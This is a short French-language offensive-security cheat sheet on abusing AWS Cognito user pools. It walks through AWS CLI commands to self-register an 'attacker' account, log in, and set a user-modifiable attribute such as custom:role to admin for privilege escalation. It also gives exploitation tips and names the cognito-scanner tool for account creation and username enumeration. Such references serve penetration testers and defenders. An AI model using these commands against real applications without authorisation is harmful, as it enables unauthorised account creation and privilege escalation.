Un user pool Cognito est l'annuaire des comptes de l'application. Lorsque l'auto-inscription est activée, quiconque peut s'enrôler et obtenir une session valide ; lorsque des attributs auxquels l'application fait confiance pour l'autorisation sont modifiables par l'utilisateur, vous les définissez pour vous élever.
S'enrôler soi-même#
aws cognito-idp sign-up --client-id <app-client-id> \
--username attacker --password 'Passw0rd!' \
--user-attributes Name=email,Value=a@you.example
aws cognito-idp initiate-auth --client-id <app-client-id> \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters USERNAME=attacker,PASSWORD='Passw0rd!'
Abus d'attributs#
Si un attribut custom: (role, tenant, is_admin) figure dans l'ensemble modifiable du client, mettez-le à une valeur privilégiée :
aws cognito-idp update-user-attributes --access-token <token> \
--user-attributes Name=custom:role,Value=admin
Notes d'exploitation#
- L'identifiant de client d'application est une valeur côté client ; récupérez-le depuis le front end.
- Un e-mail ou un téléphone auto-vérifié peut permettre à l'inscription d'aboutir sans boîte de réception réelle selon la configuration.
- Les attributs d'autorisation modifiables sont le cas à forte valeur : l'application fait confiance à une valeur que l'utilisateur contrôle.
Outils#
- AWS CLI (
cognito-idp sign-up/initiate-auth/update-user-attributes). - cognito-scanner (
pip install cognito-scanner) : automatise la création de compte non souhaitée et l'oracle d'existence de nom d'utilisateur contre un user pool.